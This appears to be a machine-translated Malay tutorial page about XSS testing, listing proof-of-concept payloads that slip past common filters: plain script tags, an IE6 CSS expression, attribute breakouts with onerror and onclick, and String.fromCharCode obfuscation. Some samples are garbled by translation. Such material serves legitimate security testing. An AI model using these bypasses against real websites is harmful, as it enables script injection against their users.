Rumah > Operasi dan penyelenggaraan > Keselamatan > Bagaimanakah ujian kecil xss dilakukan?

Bagaimanakah ujian kecil xss dilakukan?

WBOY
Lepaskan: 2023-05-19 11:37:06
ke hadapan
1025 orang telah melayarinya
  • Tiada sekatan keselamatan, gunakan terus

<script>alert(/xss/);</script>

  • Sekatan: Hanya CSS boleh digunakan, tag html tidak dibenarkan

Kami tahu bahawa ungkapan boleh digunakan untuk membina XSS, tetapi ia hanya boleh diuji di bawah IE. Oleh itu, sila lakukan ujian berikut dalam IE6.

body {
black;
xss:alert(/xss/));/*IE6下测试*/
}
Salin selepas log masuk
  • Sekatan: HTML terlepas dan teg Imej tersedia .

Aksara yang dimasukkan dalam ujian akan dimasukkan ke dalam alamat src, jadi anda boleh menggunakan protokol pseudo untuk memintasnya.

Masukkan

alert( /xss/);
Salin selepas log masuk

terus atau anda boleh menggunakan acara untuk memintas, hanya perhatikan pernyataan penutup, seperti berikut:

1" onerror=alert(/xss/) ; var a="1

  • Sekatan: Penapisan kata kunci digunakan.

Saya mengujinya, kebanyakannya ditapis, ada yang tidak ditapis, selepas ujian skrip/onerror ditapis, tetapi onclick tidak ditapis, gunakan acara onclick untuk memintas

<img src=# onclick=alert(/xss/);>
Salin selepas log masuk
  • Sekatan: Gunakan tanda miring tambahan untuk melarikan diri daripada aksara ciri

Maksudnya, petikan tunggal, petikan berganda, dsb. tidak boleh muncul dalam pernyataan XSS kami. Watak ciri.

Gunakan

<script>alert(/xss/);</script>
Salin selepas log masuk

terus untuk memintas

atau gunakan kaedah String.fromCharCode, seperti berikut:

<script>eval(String.fromCharCode(97,108,101,114,116,40,47,120,47,41,59));</script>
Salin selepas log masuk

Atas ialah kandungan terperinci Bagaimanakah ujian kecil xss dilakukan?. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Label berkaitan:
xss
sumber:yisu.com
Kenyataan Laman Web ini
Kandungan artikel ini disumbangkan secara sukarela oleh netizen, dan hak cipta adalah milik pengarang asal. Laman web ini tidak memikul tanggungjawab undang-undang yang sepadan. Jika anda menemui sebarang kandungan yang disyaki plagiarisme atau pelanggaran, sila hubungi admin@php.cn
Tutorial Popular
Lagi>
Muat turun terkini
Lagi>
kesan web
Kod sumber laman web
Bahan laman web
Templat hujung hadapan